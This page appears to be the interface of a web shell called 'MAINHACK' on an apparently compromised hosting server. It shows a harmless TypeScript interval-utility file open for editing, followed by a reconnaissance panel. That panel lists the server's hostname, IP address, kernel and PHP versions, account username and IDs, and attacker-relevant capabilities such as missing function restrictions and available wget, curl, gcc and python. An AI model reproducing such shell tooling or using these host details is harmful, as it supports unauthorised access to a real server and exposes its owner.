[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ScheduleIntervals.ts
/** * @since 2.0.0 */ import type * as Check from "./Chunk.js" import * as internal from "./internal/schedule/intervals.js" import type * as Interval from "./ScheduleInterval.js" /** * @since 2.0.0 * @category symbols */ export const IntervalsTypeId: unique symbol = internal.IntervalsTypeId /** * @since 2.0.0 * @category symbols */ export type IntervalsTypeId = typeof IntervalsTypeId /** * An `Intervals` represents a list of several `Interval`s. * * @since 2.0.0 * @category models */ export interface Intervals { readonly [IntervalsTypeId]: IntervalsTypeId readonly intervals: Check.Chunk<Interval.Interval> } /** * Creates a new `Intervals` from a `List` of `Interval`s. * * @since 2.0.0 * @category constructors */ export const make: (intervals: Check.Chunk<Interval.Interval>) => Intervals = internal.make /** * Constructs an empty list of `Interval`s. * * @since 2.0.0 * @category constructors */ export const empty: Intervals = internal.empty /** * Creates `Intervals` from the specified `Iterable<Interval>`. * * @since 2.0.0 * @category constructors */ export const fromIterable: (intervals: Iterable<Interval.Interval>) => Intervals = internal.fromIterable /** * Computes the union of this `Intervals` and that `Intervals` * * @since 2.0.0 * @category utils */ export const union: { /** * Computes the union of this `Intervals` and that `Intervals` * * @since 2.0.0 * @category utils */ (that: Intervals): (self: Intervals) => Intervals /** * Computes the union of this `Intervals` and that `Intervals` * * @since 2.0.0 * @category utils */ (self: Intervals, that: Intervals): Intervals } = internal.union /** * Produces the intersection of this `Intervals` and that `Intervals`. * * @since 2.0.0 * @category utils */ export const intersect: { /** * Produces the intersection of this `Intervals` and that `Intervals`. * * @since 2.0.0 * @category utils */ (that: Intervals): (self: Intervals) => Intervals /** * Produces the intersection of this `Intervals` and that `Intervals`. * * @since 2.0.0 * @category utils */ (self: Intervals, that: Intervals): Intervals } = internal.intersect /** * The start of the earliest interval in the specified `Intervals`. * * @since 2.0.0 * @category getters */ export const start: (self: Intervals) => number = internal.start /** * The end of the latest interval in the specified `Intervals`. * * @since 2.0.0 * @category getters */ export const end: (self: Intervals) => number = internal.end /** * Returns `true` if the start of this `Intervals` is before the start of that * `Intervals`, `false` otherwise. * * @since 2.0.0 * @category ordering */ export const lessThan: { /** * Returns `true` if the start of this `Intervals` is before the start of that * `Intervals`, `false` otherwise. * * @since 2.0.0 * @category ordering */ (that: Intervals): (self: Intervals) => boolean /** * Returns `true` if the start of this `Intervals` is before the start of that * `Intervals`, `false` otherwise. * * @since 2.0.0 * @category ordering */ (self: Intervals, that: Intervals): boolean } = internal.lessThan /** * Returns `true` if this `Intervals` is non-empty, `false` otherwise. * * @since 2.0.0 * @category getters */ export const isNonEmpty: (self: Intervals) => boolean = internal.isNonEmpty /** * Returns the maximum of the two `Intervals` (i.e. which has the latest start). * * @since 2.0.0 * @category ordering */ export const max: { /** * Returns the maximum of the two `Intervals` (i.e. which has the latest start). * * @since 2.0.0 * @category ordering */ (that: Intervals): (self: Intervals) => Intervals /** * Returns the maximum of the two `Intervals` (i.e. which has the latest start). * * @since 2.0.0 * @category ordering */ (self: Intervals, that: Intervals): Intervals } = internal.max
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344